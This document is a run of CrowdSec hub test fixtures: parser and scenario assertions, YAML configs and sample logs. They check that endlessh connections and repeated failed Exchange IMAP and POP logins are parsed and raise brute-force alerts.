results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:52:44.396Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["timestamp"] == "2022-02-13T11:54:17.557Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["timestamp"] == "2022-02-13T11:54:17.557Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:54:17.557Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["timestamp"] == "2022-02-13T11:56:13.717Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["timestamp"] == "2022-02-13T11:56:13.717Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:56:13.717Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["timestamp"] == "2022-02-13T11:57:16.679Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["timestamp"] == "2022-02-13T11:57:16.679Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:57:16.679Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["timestamp"] == "2022-02-13T11:59:32.884Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["timestamp"] == "2022-02-13T11:59:32.884Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:59:32.884Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["timestamp"] == "2022-02-13T12:00:47.800Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["timestamp"] == "2022-02-13T12:00:47.8Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:00:47.8Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["timestamp"] == "2022-02-13T12:01:59.882Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["timestamp"] == "2022-02-13T12:01:59.882Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:01:59.882Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Parsed["timestamp"] == "2022-02-13T12:03:21.948Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Meta["timestamp"] == "2022-02-13T12:03:21.948Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][45].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:03:21.948Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["timestamp"] == "2022-02-13T12:05:00.857Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Meta["timestamp"] == "2022-02-13T12:05:00.857Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][46].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:05:00.857Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Parsed["timestamp"] == "2022-02-13T12:06:32.107Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["timestamp"] == "2022-02-13T12:06:32.107Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][47].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:06:32.107Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Parsed["timestamp"] == "2022-02-13T12:12:43.171Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Meta["timestamp"] == "2022-02-13T12:12:43.171Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][48].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:12:43.171Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Parsed["timestamp"] == "2022-02-13T12:14:06.577Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Meta["timestamp"] == "2022-02-13T12:14:06.577Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][49].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:14:06.577Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["source_ip"] == "2001:db8:85a3:8d3:1319:8a2e:370:7348" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Parsed["timestamp"] == "2022-02-13T12:17:31.839Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["source_ip"] == "2001:db8:85a3:8d3:1319:8a2e:370:7348" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Meta["timestamp"] == "2022-02-13T12:17:31.839Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][50].Evt.Enriched["MarshaledTime"] == "2022-02-13T12:17:31.839Z" hub1/.tests/endlessh-logs/scenario.assert000066400000000000000000000044431437532772500207560ustar00rootroot00000000000000len(results) == 1 "49.88.112.72" in results[0].Overflow.GetSources() results[0].Overflow.Sources["49.88.112.72"].IP == "49.88.112.72" results[0].Overflow.Sources["49.88.112.72"].Range == "" results[0].Overflow.Sources["49.88.112.72"].GetScope() == "Ip" results[0].Overflow.Sources["49.88.112.72"].GetValue() == "49.88.112.72" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[0].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-13T10:55:56.131Z" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[1].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-13T10:57:18.739Z" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[2].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-13T11:01:37.741Z" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[3].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-13T11:01:50.846Z" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[4].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-13T11:02:12.588Z" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "endlessh_accept" results[0].Overflow.Alert.Events[5].GetMeta("service") == "endlessh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "49.88.112.72" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-13T11:03:19.438Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/endlessh-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 9 hub1/.tests/exchange-imap-bf/000077500000000000000000000000001437532772500162475ustar00rootroot00000000000000hub1/.tests/exchange-imap-bf/config.yaml000066400000000000000000000004731437532772500204040ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-imap-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/exchange-bf.yaml postoverflows: - "" log_file: exchange-imap-bf.log log_type: exchange-imap labels: {} ignore_parsers: true override_statics: [] hub1/.tests/exchange-imap-bf/exchange-imap-bf.log000066400000000000000000000031211437532772500220420ustar00rootroot000000000000002022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", hub1/.tests/exchange-imap-bf/parser.assert000066400000000000000000000000001437532772500207540ustar00rootroot00000000000000hub1/.tests/exchange-imap-bf/scenario.assert000066400000000000000000000071361437532772500213040ustar00rootroot00000000000000len(results) == 1 "192.168.9.212" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.212"].IP == "192.168.9.212" results[0].Overflow.Sources["192.168.9.212"].Range == "" results[0].Overflow.Sources["192.168.9.212"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.212"].GetValue() == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[0].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[1].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[1].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[2].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[2].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[3].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[3].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[4].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[4].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "exchange-imap-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "imap" results[0].Overflow.Alert.Events[5].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[5].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-20T21:28:50.53Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/exchange-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/exchange-imap-logs/000077500000000000000000000000001437532772500166245ustar00rootroot00000000000000hub1/.tests/exchange-imap-logs/config.yaml000066400000000000000000000004011437532772500207500ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-imap-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: exchange-imap-logs.log log_type: exchange-imap labels: {} ignore_parsers: false hub1/.tests/exchange-imap-logs/exchange-imap-logs.log000066400000000000000000000003461437532772500230020ustar00rootroot000000000000002022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied",hub1/.tests/exchange-imap-logs/parser.assert000066400000000000000000000136141437532772500213500ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/windows-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Success == false len(results["s00-raw"]["crowdsecurity/windows-non-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Success == true results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["message"] == "2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,\"R=\"\"2 NO AUTHENTICATE failed.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["program"] == "exchange-imap" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_path"] == "exchange-imap-logs.log" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["crowdsecurity/exchange-imap-logs"]) == 1 results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Success == true results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["command"] == "authenticate" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["duration"] == "168" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["parameters"] == "PLAIN" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["program"] == "exchange-imap" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["date"] == "2022-07-20T21:28:50.530Z" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["rpsize"] == "31" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["session_id"] == "000000000000000E" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["username"] == "testuser" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["rqsize"] == "31" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["sequence_number"] == "2" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["server_port"] == "143" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["client_port"] == "35070" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["message"] == "2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,\"R=\"\"2 NO AUTHENTICATE failed.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["sub_type"] == "auth_fail" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["datasource_path"] == "exchange-imap-logs.log" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["log_type"] == "imap" results["s01-parse"]["crowdsecurity/exchange-imap-logs"][0].Evt.Meta["service"] == "exchange" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rpsize"] == "31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sequence_number"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "testuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_port"] == "35070" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "exchange-imap" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["duration"] == "168" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["command"] == "authenticate" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-07-20T21:28:50.530Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rqsize"] == "31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["session_id"] == "000000000000000E" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-07-20T21:28:50.530Z,000000000000000E,2,192.168.9.241:143,192.168.9.212:35070,testuser,168,31,31,authenticate,PLAIN,\"R=\"\"2 NO AUTHENTICATE failed.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["parameters"] == "PLAIN" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_port"] == "143" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "exchange-imap-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "imap" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "exchange" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_type"] == "auth_fail" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-07-20T21:28:50.53Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-07-20T21:28:50.53Z"hub1/.tests/exchange-imap-logs/scenario.assert000066400000000000000000000000001437532772500216400ustar00rootroot00000000000000hub1/.tests/exchange-pop-bf/000077500000000000000000000000001437532772500161175ustar00rootroot00000000000000hub1/.tests/exchange-pop-bf/config.yaml000066400000000000000000000004701437532772500202510ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-pop-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/exchange-bf.yaml postoverflows: - "" log_file: exchange-pop-bf.log log_type: exchange-pop labels: {} ignore_parsers: true override_statics: [] hub1/.tests/exchange-pop-bf/exchange-pop-bf.log000066400000000000000000000040601437532772500215650ustar00rootroot000000000000002022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 